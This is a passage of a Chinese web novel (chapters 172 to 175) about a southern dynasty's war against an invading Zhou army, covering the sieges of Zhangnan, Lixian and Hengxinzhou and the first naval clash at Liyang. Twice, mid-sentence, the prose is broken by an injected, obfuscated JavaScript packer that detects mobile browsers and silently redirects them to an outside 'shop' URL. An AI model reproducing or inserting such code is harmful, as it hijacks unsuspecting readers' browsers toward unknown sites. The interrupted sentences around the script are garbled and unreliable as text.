就在陶修站在江对岸无能为力地注视被敌人占据的采石时,公仪林巡逻的二十条船恰好开到采石附近,这片水域离历阳近,离石头城远,本不是他该管辖的地域,正是见前线战火纷飞,后方的自己无事可做才心血来潮率船队逆流巡航。 恰好就撞见采石上的异样。往常若见东边开过来的船只,驻守采石上的将士白天挥数面大旗招呼,晚上则用火把打暗号。 今夜,岛上除了几处星星点点的火光和拍岸的涛声,显得过于冷清。 公仪林命船舰在距离采石两里外停下,静观其变。 172.亡国前的反击 下半夜,近三千偷袭者迟迟等不到信州水师援军,又见江面一字排开的几十条大船,以为行动暴露,早按耐不住焦躁,决定守在岛上大干一场。 公仪林按兵不动,速让一条小船到离此最近处搬救兵。 他站在甲板,巍然不动。 摸不清状况的周军被江面守株待兔般的敌船弄到心神不宁。黎明时分,这帮偷袭者舞动大刀,登上山顶狂呼呐喊,诱敌深入。 有人向公仪林禀报,只凑得临近几处的几条巡逻船。 公仪林猜不准江心岛上有多少敌人,自己这支巡逻船共十八条,约两千人不到,沉思片刻后,下了坚定的命令:“足够,跟我登岸。” 他第一个踩上坚硬的石头,指挥若定,对将士激励道:“周狗敢堂而皇之暗袭我大陈京畿之地,是轻视我水军皆是废物,你们安能忍耐?” “忍不了——”大陈水师皆冲进营寨,怒不可遏地与敌人厮杀搏斗,将这批还未等到自己水师的偷袭人全部俘虏、斩杀。 采石虽安然无恙,果然如陶修所言,整个京城都因此事沸腾惶恐,不管是官吏还是百姓,以为敌军的大军还被裹足在前线时,原来已有一批人马杀近京城。 听说周国连太子元意都到达前线,三千暗袭者杀至采石矶,陈主意识到危机,当即决定御驾亲征,不顾一众大臣的反对匆匆到达京口。 公仪林分身乏术,既要守卫京师,又要保护天子,只得抽出陆颢全程护驾。 陈主亲临江矶大营,确实给连日征战的将士以巨大的鼓舞。他站在镇寨之宝——退役下的骁龙舰上,心潮澎拜,慷慨激昂,有那么片刻,他突然明白身为帝王该担起的责任,这大江,这千万兵马和每一个百姓,都属于他,他若低迷怯战,一切都会不复存在。 陈主拉起卢思苌的手,触摸将军花白的头发和瞎掉的一只眼睛,哽咽道:“多年来将军殚精竭虑戍守大江,朕,朕不知该说什么,将军一定要保重身体。” “能为陛下分忧,是臣的荣幸。” 六月,酷暑难耐,战事已拖延三个月。又到农事正忙时节,元意对贺功臣下了最后通牒,三日内必夺取寿阳。其他几路大军纷纷传来捷报,郢州、江州重镇已全部占据,水军直逼陈国历阳,陈国这两个地方失守,无异于手脚被斩。 贺功臣集结大军,浴血奋战,终于轰开寿阳城门,双方从平明杀到日暮。鲁云渊望着一地死尸和溃不成军的将士,打了半生仗几乎没有败绩的人终于下令弃城,带着残兵部将冲出北门,朝西南方向疾驰。 小小漳南突然涌入大批人马,开门迎接鲁云渊的是陶修,没时间慰问这支败军,陶修立即令虎兕军出城御敌。 五千骁勇的精兵守卫在城门外,等着贺功臣的到来。 乘胜追击,贺功臣和元意率军直追到漳河附近,两阵对圆,数量悬殊太大,敌人少量的人马立即引起元意的好奇。 “这就是你两次提起的漳南兵马?” “对,我观对方数量,应该是漳南全部兵力,这一战若胜,漳南城必开门投降,只不过敌方将领实在难缠。” “你指正中央那年轻人?此人有何通天本领?” “此人姓陶名修,武艺精湛,枪法了得,又年轻气盛,除了江陵城破那次,至今无败绩,调练出的虎兕军皆有以一敌十的战力,我军虽胜他十倍,却不能小觑。” 这一通似赞赏般的评价让元意非常好奇,不禁发问:“为何江陵那次会输,与他有何关系?” 贺功臣解释道:“说来话长,此人是萧梁世子,因一些缘故从小在陈国长大,梁灭之后又回到漳南,或许心怀亡国之恨,杀起我们的将士是一刀比一刀狠。” 元意道:“萧家宗族现都在大兴城活得好好的,他为何没跟着一起去?若他真如你说得那般厉害,纳我麾下,岂不是一举两得?” 元意沉思片刻,眼眸一闪,立即对贺功臣道:“你去阵前传我旨意,陶修若能归降大周助我平定江南,放萧家再回江陵为官也未为不可。” 贺功臣把元意的善意如实带到,陶修断然拒绝:“江陵萧家,我所珍重的人无一幸免,不必作此冠冕堂堂的承诺,陶修无意功与名,只想捍卫脚下寸土,绝不让悲剧再现。” 贺功臣回去言简意赅的回禀:“他不肯,他说打。” “那好,能让贺将军夸赞至此的人,我正想见识见识他的本领。” 周军一连战了两天没有歇息,这会烈日当头,个个晒得油光满面,精神懈怠,而对面的虎兕军虽数量少,但精神振奋,真磨刀霍霍验证自己的水平。 元意下令道:“我军追击一天一夜此时疲惫,四周无阴凉遮蔽,毒辣的日头下谁都占不了便宜,待两军都晒蔫了再打。” “额?”贺功臣一头雾水,“刚才我把虎兕军能力说得有些夸张,任他再强不过区区几千兵马,殿下,一鼓作气,不该在此席地歇息。” 元意瞄了眼头顶的青色华盖,也没那么热,偶尔一阵清风还挺凉快,慵懒地摆手道:“先静候,不急。” 陶修也正有此意,不敢冒然开战,他正等着衡新州薛际的兵马。论数量,打起来输多赢少,他惊精心壮大的军队不能一战全没。 日头从正中逐渐偏西,两军经不住灼热的暴晒,未正时就都像卷了边的枯叶,无精打采。 陶修一直盯着华盖下的元意,此前偷袭采石矶就是此人的主意,虽文质彬彬的长相,绝不是好对付的。盯得久了,陶修又开始掂量起自己的本领,不知能不能一把抓个大的。 正当两军都晕乎在烈日下时,一匹马走至两阵中间,枪指虎兕军的将领:“谁敢出来与我单挑?”此人是贺功臣帐下一员牙将,伸耳朵听见一点将军和太子间的对话,刚听太子要人出阵单挑时,他立即要求出阵,不信敌人中贵公子样的年轻人能那么厉害。 结果走出来应战的是张城。 张城提枪驱马,缓慢走到阵前,冷哼一声:“杀你何须城主出马,让我这无名小卒领教几招。” 两匹马对冲,气势旺盛,只七八回合,张城就将这牙将斩于马下。 牙将咽下最后一口气时仍旧盯着陶修,“你,你——” 元意惊地站起来,“这就死了?”这不是主动给敌人振气势吗?不行,继续战。 这回,贺功臣亲自上阵,朝陶修抱歉道:“你我二人回回都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136977|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵戎相见,我还挺想念几年前在漳河边初遇你时,若不是你我对立两边,未必不能真做朋友。” 陶修算算时辰,该到开战之时了。 走到阵中间,客气的还礼,“我只认识何姜,不认识你。” 说罢,陶修夹紧马腹,提枪就战。 两人在两军阵前威风凛凛地对峙,枪剑雪亮,将士们皆以自家将军为傲,信心十足不会输给对手。盘腿在地上的、爬在战车上的,躺着立着的,千姿万态,就像特地约此看场好戏。 天气炎热,陶修仅穿了件白色粗麻衣,套一件裲裆甲,在马上的身姿矫捷轻盈,与全身覆盖铠甲又年纪略长的贺功臣对比强烈,几十回合下来,贺功臣口喘粗气,大汗淋漓对陶修道:“这不是你的真本领吧?” 没错,陶修还在拖时间。 元意紧盯敌军将领,能把刚封为平南将军的贺功臣打的如此狼狈的确实没几人,真起了一份要收陶修入帐下的心,撩起衣裾走下辇车,往阵前走几步高声道:“萧公子,真不考虑考虑孤刚才的提议?大兴城的萧家人思乡心切,对我京城的水土不服,人人怀忧郁之色,你若能为大周立功,萧家人对你一定感激涕零。” 和贺功臣单挑时,陶修内心还算平静,几句话把他对周的恨意全给炸出来,当即撇下贺功臣朝元意冲去。 似一道天降闪电,锐利的枪尖直挑元意咽喉,但一队精兵迅速挡在他前面,化开闪电的戾气。 贺功臣吓得脸堂发暗,调转马首要护驾。 这时,远处烟尘大起,一队轻骑兵动地而来,虎兕军迅速擂进军鼓,五千将士精神抖擞往敌阵冲杀。 周军反应不及,待从地上爬起来至互相推拥践踏,早就乱了阵型,任由虎兕砍瓜切菜。 一场恶战后,陶修和带兵救援的薛际把周军打的溃不成形,一连二十日没敢发兵。 得胜的陈军回到漳南城,薛际一眼认出此城城主就是几年前他未能一箭射死的陶修,讶异一瞬,不禁把此前的钦佩换上一副轻蔑的神态,不肯与之多讲一句话。 二人虽有嫌隙,但在御敌之时并未以私乱公,两城联合,把周军挡在前方寸步难行。 在那场恶战里受到惊吓的元意仔细研究过陶修的实力后,对此人效命陈国有所惋惜,试问贺功臣:“把大兴城的萧家人拉来几个放于军前,你觉得能否拿捏此人?” 贺功臣对太子不甚光明的手段予以否决,忙阻止:“不可。此人长于陈国,与萧家人并无感情,以我对陶修的了解,非但威胁不了他,还会引起他更强的恨意。” 既然不行,那只能硬拼、硬攻。 七月下旬,在天气最为炎热的一天,周军以巨大的代价终于攻下漳南城,攻下了陈国百姓眼中最坚硬的城池。 城门被攻破后,陶修带几百将士捍卫在南门,死战不屈。大火熊熊燃烧,把盛夏的夜晚烤得炽热无比,城墙失火,成排的房舍失火,整个城都失火,漳南顷刻葬于火海。 被大火舔舐过的地方惨不忍睹,一片焦枯。 陶修持双剑立在门前,寸步不让,延长全城百姓逃生的时长。 不过有一点与他预想的有所不同。 173.公仪檀的失败 小小城池根本扛不住大军朝内涌入,死抵一番后,陶修并未见到他忧惧的“屠城”势头,周军占领县署、俘虏仅剩的兵力后,保持了可令百姓接受的军纪,没有继续烧杀抢掠,井然有序的控制漳南。 这才是周军最可怕的地方,没有及时逃出城的漳南百姓没有抵抗,顺从地听周军安排。陶修想到那句话:不停遭受兵燹摧残的百姓根本不在乎当今圣上是谁,只要这乱世能给他们喘口起、平静地种地就够了。 孩子和妇人的哭声渐渐变弱,街道上胡乱奔逃的人群也已停下脚步。 望着冲天大火下趋于平静的城,那么,是否还战? 已负伤的陶修再次动摇信念,跟江陵让萧蕴投降自己却决定战死一样,他预备让部下逃命去,把满城百姓交给贺功臣的手里。 可眼下危情不给他做选择的机会了。 元意的大批人马已将他和几百将士团团困住,南门水泄不通,今夜此门的情形堪比当年两百壮士夺取南门时的血腥程度。 元意拽停坐下的马走到受困的敌人跟前。那马受烈火的炙烤有些受惊,马蹄高抬,嘶鸣几声才老实下来。 陶修站在逆光的一面,满脸污血,衬得一双眼珠子尤其清亮,又紧了紧手中的剑,咽口唾沫。 “全城将士和百姓都弃城走的差不多了,你今日肯定走不掉,萧公子,不如归降,我从未向一个人三次发出邀请,你有余力护鲁云渊出城再回来,又在此坚守三个时辰,确实值得人敬佩,我很欣赏你不怕死的韧劲,是真心诚意要你为我所用。” 因此人的身世与众不同,元意确实很想给他一个机会。 “我可能要辜负殿下一番好意了。我死之前,有一个要求。” “说。” “殿下破门进来不犯百姓,不杀败军,他们——”陶修回首看了眼身后身疲力竭的将士,“他们受我将令才杀了这么多人,放他们走。” 跟在身后的这批人斩杀敌军时最凶最猛,即便元意有心放过他们,恐怕周军的士卒也不答应,看能不能为这些虎兕军求一线生机。 元意答应的很爽快,立即挥手散开人群,允许几百灰头土脸的虎兕军从眼前走过。 大火下的建筑发出响彻夜空的毕剥声,城内温度越升越高,火光下是一张张大汗淋漓的脸。陶修给将士们最后一道命令:走! 望着部下全部从眼前离开,走出南门仓皇逃离,最后,身边仅剩下张城和胡峤,把牙齿咬碎都赶不走的两个人。 胡峤跟张城说过,城主仗着一股“上天不愿过早收他”的幸运,常做不要命的决定,在沙场上多次横冲直撞,简直是任性妄为。所以这回,城主又在试探苍天的容忍度。 “别以为你多次死里逃生是因为自己武艺好,还不是靠别人?”张城紧贴陶修的背,从嘴里吐出一口血水,还是很气:“我和胡峤不留下来,你今日必死,整日头给你能的。” 陶修勉强挤出笑,把林修剑插回后背,持昭明王宝剑准备拼出一条血路。 张城把身子绷紧到极致,防着围拢的敌人,嘴里还在碎碎念:“真弄不懂你,回回都压在最后一个等死,就不能跟鲁将军学学,虎兕军有你才叫虎兕军,没你,顶对就是‘那群当兵的’,你死了后面谁带我们杀敌?” 陶修半晌才回他一句:“我肯定不会死,这里就你最弱,别拖累我们。” 元意往后退几步,最后一次问:“萧公子真下了决心?你这种好战的人绝不能放你走,能逃出去算你本领。” 没听到如意答复,元意朝贺功臣使个眼色,慢悠悠走出厚厚的人墙,坐在高处好整以暇地观战。 那夜,因为周军的宽宏大量秋毫不犯,有些百姓停下逃难的步伐,挤进人群或站在高处,看见了一场近乎惨绝人寰的杀戮,那是比屠宰场还要血腥还要轰轰烈烈的阵仗,他们眼花缭乱、触目心惊,都来不及看清那几个人是如何杀出重围,继而夺了马冲出南门,留下一地的死尸。 追出南门要为躺在地上的兄弟报仇的周军擎着火把,在暗夜里蜿蜒迤逦,似一条长龙,追到目光所及之处才回头。 陶修站在黑巳山的半腰,回望被火海堙灭的城池,倾注四年心血和精力,一场大火付之一炬,兵、民、物一样不剩,漆黑的眼眸里落了几点火光,都是痛惜和不舍。 这个世道,想安然无恙的活着,怎么就那么难。 “走吧?去京口,去卢将军那里。”面对此城的劫难,张城也难过至极,清清嗓子,用不那么压抑的声音说:“周军的五路兵马已有两路逼近都城,现在大陈的存亡只能依赖京口、历阳两营的水师,漳南虽失守,但还有机会再夺回来,谁说就不能再回来了?” 山风带着一丝清凉,抚平被火炙烤过的皮肉疼,蝉声偶尔集体嘶鸣一阵又沉寂在暗夜里,陶修对着漳南的方向深叹一口气,拽住缰绳转过身说:“走吧!” 漳南失守的消息迅速传至各州郡,过去一年多,此城将士的战力和管制似个标杆立在人们心头,如今,笔直的标杆突然倒下,轰一声砸得人心惶惶。 最惊惧地莫过于公仪林,消息刚从一名信使口中说出来,当即失去往日的稳重,拎起信使的肩问:“漳南有虎兕军压阵怎么会败?陶城主现在哪里?何时发生的事?为何没有求援的文书送京?” 阿八走过来把吓得结结巴巴的信使“解救下”,信使这才平静地回答:“两日前夜晚失守,鲁将军率残部回了历阳,陶城主去向不明,下面传来的消息只有这些。” 阿八道:“镇北将军何等身份,周狗若是抓住或杀了他,不论生死,还不赶紧的昭告天下动摇我军心,两天都没消息,说明他根本不会出事。” 公仪林立即召集几十心腹欲派出去寻人时,又一道消息传来,说漳南失守后,城主及两千部下撤去京口,前境仅剩衡新州和临川郡的醴县在坚守。 这好消息并未解开公仪林紧蹙的眉头,当前形势对大陈越来越不利,众多小县投降或失守的告急文书已堆满圣上的案头,且不说这个文人似的圣上有没有杀伐果断的气度,即便有决策能力,但兵源的不足也会限制他的发挥,何况,落在人眼中的帝王整日都在唉声叹气,惶惑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150857|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安。 连拥有号称最凶最猛虎兕军的漳南都败了,前境剩下的两个小城又能支撑多久,公仪檀和薛际又能创下哪种奇迹? 七月廿四,公仪林从丹阳府兵调出六千兵马前往临川郡救急。 公仪檀很依赖这支由弟弟亲自调练出的强悍精兵。 兵马一到,公仪檀就调集本部兵马及这六千精兵主动攻击周军。 刚打了场胜仗的贺功臣率部将再次以数量的优势和十足的沙场经验力压敌人,眼看公仪檀的本部兵马开始溃败,突然两支彪军分别从左右两侧杀出,一支是来自于衡新州善于救急的薛际,与其坐以待毙,不如主动出击,另一支不到五千人,正是丹阳府兵。 这两支强悍勇武的兵马一入战阵,烟尘滚滚中,是一场更为残忍无情的搏杀,刀剑无情,尸陈遍野。 此战,陈军小胜,将周国践踏生灵的步伐阻挡在原处,一连十日不见动静。 第十一日,一向号称“军纪严明、对民无犯”的周军突然对周遭百姓下手,所到之处腥风血雨,烧杀抢夺无恶不作。 大批逃难的百姓涌到醴县的城下,向里面的人央求哭喊打开城门。 一向谨慎又仁德的郡守公仪檀经不住百姓的凄惨哀嚎,沉默很久,终于不顾文武官员的反对下令开城门。此时,日暮之下,血红的夕阳将掉入远方灰暗的树影后。 无家可归的百姓太多,拥挤、混乱,稚童的啼哭声在昏黄的暮色里分外凄凉。公仪檀于城楼亲自监督难民入城,持刀队守在城门两侧,一旦意外发生,立即斩杀闹事者。 百姓经过搜身后才允许入城,效率低下,也造成人群的躁动,最后一丝天光消失,火把点燃时,人群里上百把砍刀被映得森寒,这些趁乱混进人群的精壮敌军突袭城门,见人就砍,东奔西逃的百姓堵塞厚重的大门,几十条汉子都无法合上。 敌军越杀越猛,城内的人步步后退。公仪檀急速下了城楼安排弓箭手待命,忽见城门外又出现一支人马,为首者是贺功臣。 醴县被攻破,元意只用了上百名快刀手和一些无关紧要的百姓性命就拿下了,比攻取漳南要顺利得多,花掉的代价也不能相比,更重要的是,他亲自抓住了郡守公仪檀。 公仪檀反手被绑,被人推至元意跟前,高傲不屈,宁死不跪,连个正眼都不肯给这个敌国太子。 “都是硬骨头,拿弓来,孤要看看此人的骨头有多硬。” 公仪檀像个靶子昂扬矗立在远处,紧闭双目,毫无惧色。 元意手里的弓拉得嘎吱嘎吱响,贺功臣急急跑来阻止:“殿下,手下留情,此人杀不得。” “又杀不得?他也是萧家的?” “江南有六大世家,此人正是吴郡公仪家的人,若杀此人,待殿下扫平江南后恐不利于您在此立足,何不先将此人关起来,作为拉拢几个世家的棋子?” 元意自然听过江南几大世家,公仪家历史最悠远,自晋时为官至今,经四国,无有一次不是朝中股肱,即便大陈亡了也亡不掉这些树大根深的家族,杀了此人确实没有任何好处。 174.亡国前的众生 临川郡刚败,下一个就是“之”字末尾的衡新州。 并不比前两座城强在哪里的衡新州很快也面临绝境,与另外两个城主不同,衡新州的薛际是个胸怀强烈抱负、热血沸腾的年轻人,骨子里天生一股不服的烈性。 周国大军兵临郊外那日,薛际等不到援军,把城内仅有的四千兵马全部开到护城之外,二十辆粉骨碎肉的战车排成两列,他立在战车前拔剑立誓,高声激励将士:“生年三十,正是大丈夫报效国家之时,若战死,英灵矗立天地之间,坦然受后人祭拜,死有何惧,我定要与此城共存亡。” 四千人手持利刃,齐声怒吼,毅然决然冲进敌阵,那是近五万人的战阵。四千人究竟砍杀多少敌人,已没有一个活口能证明,战车上的刀刃全部杀到铢钝,尸体摞着尸体,脚下的泥土又软又红,腥气满满。 元意扫过狼烟滚滚的沙场,周围寂静安谧,没有一丝人声,他们赢了,却好像输了。躺在血水里的薛际面朝上,眼睛平静地闭着,右手握一根断戟,践行了他的誓言,为国捐躯,无怨无悔。 元意从不穿铠甲,一身雪白的便衣,立在这迷迷茫茫的地狱中间显得格格不入,初来江南时,他血气方刚雷厉风行,要向父亲证明他的战无不胜。 每一战过后,才发现钢铸的心也会被滚烫的鲜血融化,一点一点变软,眼前这副惨状使他无精打采,垂下双肩,只敢把视线落在薛际的尸体上,低声问身旁的贺功臣:“将军,陈国棘手的将领都给我遇到了,还是打仗本来就这么难?我在父王跟前保证,两个月时间必让陈主俯首称臣,如今已近五个月才攻下区区三个小城,损我近十万兵马。” “圣上欲实现大统吞并八荒,今日的事不可避免。太子殿下该重整雄心,大江上的水师才是陈国主力。二殿下早就从信州到达枞阳水寨,只等殿下你一声号令。” 元意从怜悯将士的悲痛里跳出来仅一瞬的时间,陡然换了副冰冷无情的躯壳,怕弄脏鞋子,踩着死尸走回车辇上,对贺功臣吩咐:“我要大江上陈军惯常布防的所有图本。” 顿了一瞬又下令:“天气炎热,尽快掩埋尸体,此城城主的尸首单独埋葬。” 此时的陈国,上至天子勋贵,下至百姓黎民,人人自危,人人恐惧。 自杨弘易出逃不见踪迹后,陈明俨终于有点帝王的模样,收起丹青画卷、文章诗赋,按时上朝,与百官共议退敌之策,三次随公仪林登上石头城确认王师的阵仗,那舳舻千里的船只和接天连地的兵马给了他错觉,每看一次,就发出欣慰的感慨,“朕的水师天下无敌,周人南下也只能止步于江北岸,他们赶马的难道能飞过大江?” 身后的左卫蒋授、右卫公仪林阴云满面,勉强跟着应和。 两人数次跟圣上回禀周国的水师不能小觑,圣上没有任何危机感,坚信这宽阔的大江是阻止敌人的利器。 连夺三城的元意并没趁势继续南下,而是把大军驻扎在离建康最近的衡新州。他不是不想,而是军中发生疫病,大部分士卒手软脚乏浑身病色,这一拖,很快进入九月,天气转凉,将士们思家的低落情绪传遍各大营。 元意视察过大营后下了决心:这仗是必须速战速决。 就在军心不振时,都督此次平南战事的元意收到捷报,跟漳南一样难啃的东扬州已被虎威将军杨念艰难坎坷地拿下一半。 对杨念而言,这一半的疆域拿到手里确实艰辛。 曾三次打败突厥大军并深入王庭活捉王子、自诩打仗天才的杨念,在攻打东扬州时,知晓驻守此地的是大陈的二王陈明聿,做好万全准备,谨慎行事的他,还是在第一仗时深深怀疑自己的实力。 其他州郡,面对数量惊人的周军,都以防御为上策,唯独这东扬州的陈明聿骁勇好战,且兵马强盛。杨念只能把军队驻扎在离城很远的一处山下,近三个月没有大的动静。 三个月来,几乎每隔三天,日落之时,远处的山头必会出现一个戴面具的将军,骑马握长枪,像座塑像、像片剪影,像只鬼魅,俯视远处的大营。 大军到此的第一日,杨念见过这人。他仅带了三百轻骑兵就敢来袭营。 杨念从未见过能做大军先锋的将领能那样“娇小又凶恶”,戴一面涂了各种颜色的木质面具,在马上纹丝不动就显得凶神恶煞,一句话不说,叫阵都是身边牙将代劳。 杨念对他们装神弄鬼的样子嗤之以鼻,哈哈大笑,这是刀光剑影的干架,他们当玩杂耍呢? 不过哑巴似的先锋将领确实勇猛,挥舞一面红色小旗子,身后的骑兵分三个方向迅猛地冲击大营,横冲直撞,把正挖壕筑堑的周军冲的四零八落,待杨念反应过来上了马背,三百骑兵已收起刀刃,风一样钻进密林不见了。 “此人是谁?像贼一样?” 陈千越第二次袭营时,还似上次一样,预备像道闪电划过周军大营,可惜,周军的营寨已建的如铜墙铁壁,只好绕着大营兜转两圈回去。 寨门突然大开,杨念冲了出来,谁也不奔,就奔着那让他好奇几个月戴古怪面具的将领而去。此人像心头鬼魅,惹得营寨的将士们每隔三天就盼着山头的影子出现,私下甚至问:“今日那将军是否出现?” 此人动摇军心,必须要除。 杨念与面具将军斗了十几回合,发现一件很特别的事情。那人用的是一把戟,外形与平常的戟没有二致,唯独锋刃上涂了一层厚厚的黄漆,与那人冰冷的铠甲和面具对比,涂了黄漆的利刃有了一点温和的味道,杨念说不清那是什么感觉,面具下的人,一定是个细腻且小心的人。 可这是沙场,杨念并未因这一瞬的疑惑放松对他的杀意。 面具将军渐渐力怯,上前助他的人变多,都紧张他的安危。身后就是自己的大营,杨念才不怕他们。 他准备让部下活捉面具将军时,不知从何处闯出一匹黑马,四肢修长,浑身油光滑亮,没有一根杂毛,霸气威武,再转眼向上看去,那马背上的人比马还要显眼。 “虽不能拿人跟马比,但这家伙确实更英武些。”杨念眼见此人把戴古怪面具的将军拎上马背,再次像风一样钻进密林不见了。 “此人是谁?像贼一样?” 两次相同的问题,没有人给他确切答案,这伙人真像是丛林里刮过的风。 被陈明聿救回的武平公主自然免不了兄长的一顿嘈嘈。 不肯服输的陈千越把面具一摘,气恼地甩到兄长怀里,蹙起鼻子哼一声,“此次去的时机不对,待我下回夜幕时再去偷袭。” “你几次三番袭营,姓杨的又不傻。” “下回我赚他出来,不信捉不到他。” “我听闻只有他捉人,不见他被捉的时候。” “二哥为何长他锐气灭我威风?” “我是怕你莽撞着了他的道。姓杨的来此三个月不曾攻城,跟你一样,偶尔抽个一两千的人马在郊外瞎闹一场,他这样诡异,我都要怀疑此人是不是跟城内的人暗中勾结,约定举事日子。” 然,并非这样,杨念虽年轻,打仗却很稳,凭着天生会打仗的能耐又养出一种低调的嚣张,他不似别的将军,整日担忧粮草不够,军备不足,士兵伤亡,用他的话说:缺粮短兵我就班师回朝,谁怕谁,大不了给我头衔摘了。 因此,他才敢在山下一连扎寨三个月动都不动,从夏天扎到秋天,树叶渐渐染了层黄。 面具将军常来挑衅,出没 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两方死亡的人数越来越多,人口只有那么多,生的远没有死的速度快,至九月时,战火不断的各城各地都因深秋到来更显凄凉。 陈明聿胜多败少,杨念败多胜少,本该陈军更有主动权,但已无外援的扬州城挡不住连日动兵,死一个人就少一员将士,而杨念,三次向朝廷要兵增援,两者间的差距越来越大。 周主对杨念有求必应,因为周国的第五路大军已在东海静候数月,这是一支从海上出发、欲从太湖出发绕到陈国后方斩断敌人尾部的军队。 眼下只等杨念牵制扬州兵马后行动。 不断的杀戮令人暴躁消沉,陈明聿眼见明朗爱笑的妹妹像换了个人,曾经嚷着杀敌立功的豪迈之情消失殆尽,自顾自站在敌楼上,背影落寞清寂,这破碎不全的江山不该由她忧心才对。 陈明聿疼她胜过世上任何人,此刻却不知如何安抚武平公主的难过,她的难过也是此刻大陈所有人的忧惧。 陈明聿走过去站在她身旁,极目远眺,目之所及不再有以往的太平景象,却不敢有半分叹息,怕惹得她更不开心,“脱下铠甲回阁中去,二哥答应你,一定会保住这片疆域,行不行?” “父王赐我武平,我怎敢玷辱此封号,我与哥哥一起,你放心,我只是觉得,觉得过去几个月像场噩梦,不管睁眼还是睡着了都是血,迄今为止我们没收到一处捷音,全是败阵失守,连鲁云渊都兵败退回历阳,周狗是要把我们赶尽杀绝。皇城的圣上现在一定焦头烂额,真想去见他一面。” 没等陈明聿开口,公主突然问了他一个心惊肉跳的问题:“你是否想过投降?” 这是个沉重的话题,若不深思熟虑,轻易回答不了,他们个个都在自己身上背负了好听的信念,家国大义需坚守、祖宗基业不拱手让人,自困其中,必须忘记小小的我。 “祖宗打下的江山,岂能说不要就不要,我誓死不屈。” 公主瞥了他正气凛然的脸,哈哈大笑,指着他说:“我就知道你会这么说,烦死了,整天都一副硬梆梆要训人的模样。” 陈明聿也笑了,双臂撑着城墙,笑问公主:“猜我现在还有什么遗憾?” “遗憾太多了,不知你心里最大的遗憾是什么?” 他一掌拍在陈千越肩头,把姑娘家都拍矮了一寸,“这几年让你在兵营自由出入,白白的浪费大把年华,我遗憾至今没能给你找一桩像模像样的亲事,这种事本该父王替你做主,现在只能由我代父操劳,可做兄长的见你一天天心硬成这样,你说我遗憾大不大?” “我明白了,你转着弯说我像男人,是不是?” “岂敢,岂敢!” 175.亡国前的反击 大陈的京口和建康 元意兵营的疫情随着天气转凉消减许多,从大营拉出去的死尸一天比一天少,气温也一天凉过一天。两场秋雨过后,元意在一方不起眼的小方桌上同时下了四份决定陈国命运的军令,分别传至各路军的将军手里,一鼓作气,同时进发,给大陈来个猝不及防。 “他们不是以为我大周远道而来必求速战所以才缩在壳里不敢探头吗?那就让其知道什么是真正的速战,他们不是在京畿之地做好万全的防备吗,给我看看他们最后的垂死挣扎。” 元意也想早点结束战事,既烦躁又兴奋。 九月二十,一个雾气蔼蔼、阴雨绵绵的清晨,一支数千条船只的水师悄然逼近历阳,其势浩浩荡荡、气贯长虹。 鲁云渊飞速登上楼船,水寨船舶倾巢而出。 秋风里的大江晃动不安,惊涛击岸,五条冰冷的铁锁横江阻拦,水天同色,迷迷茫茫。 鲁云渊知道这一天迟早要来,但没料到来的如此之快。 敌船能开到此处,说明上游的所有郡县都已丢失,沿江的布防都被敌人冲破。 如今,历阳成了阻挡敌人侵入的最后一关,鲁云渊肩负千钧重任。 敌人五艘巨型战舰出现在鲁云渊视野时,他目瞪口呆,部下连唤三声才将他从震惊里拽出来,指着如高楼耸立的船呐呐发问:“那是何物?是人造的吗?” 那是周军打造的最新战舰,名称蛟龙,共五艘,分别以金木水火土命名,体积庞大,每艘承载人数近三千,上置五个巨大拍竿,有巨大的攻击力。 五艘蛟龙舰之后迤逦着数千条船只,五支队形如横行水面的长蛟,似有翻江倒海之力。 周军的“蛟龙”行至横江的锁链前停了下来,船首与铁链摩擦出尖锐嘶鸣,铁锁紧绷至极限,几乎吹气可断。但看似不顽固的五条铁锁把五艘巨型战舰阻拦在江上,两方在啸耳的涛声里彼此拉扯,导致周军数个时辰都没有进展。 江风瑟瑟,吹得人心头又冷又麻,鲁云渊来不及搞明白那巨物的手段,先派几十艘艨艟去试水。 不待靠近,巨舰上突然投下庞大的石头,一击就中,冲上去的艨艟像芦苇叶折的小船,打着旋一艘艘沉入江底。 就在鲁云渊脸色青黑,几乎无法用言语表达震撼时,从五艘蛟龙上突然冉冉翘起数根“钢筋铁爪”,伴随蕴含深厚重量的吱呀声缓缓启动、转弯、瞄准,最后一步,流星坠地,轰然一声,铁爪瞄准的艨艟像个熟透的瓜,四分五裂。 “让船队撤回来,快,稳住铁锁,务必阻止这怪物东下。” 若是让这些家伙开到石头城,凭石头城的几万水师,几乎无还手能力。 大型战船上配备拍竿并不稀奇,而是必备,但这几条巨物上的拍竿不单数量多、高,还很灵活,操纵时瞄准目标非常轻松,这些年,上游的信州,悄无声息的酝酿这些怪物,竟然一点消息都没有漏出去。 周国,这个比怪物还可怕的敌人,何时竟打造如此庞大的水师?一向自以为水战能力无可匹敌的大陈,终于遇到对手。 一日后,鲁云渊终于打听到怪物的名字,果然是群攻不破的蛟龙。 因铁链横锁江面,率领这群蛟龙兴云布雨的周军都督元墨无法继续向东进发,他迅速调整作战计划,抽调一半兵力与陆上的周军汇合,直接攻击鲁云渊的大本营,一面又派斥候爬上山腰斩断铁锁。 两国的水师,终于面对面交战。 鲁云渊从江上杀到陆上,杀退一拨敌人后,又从陆上杀回江上。 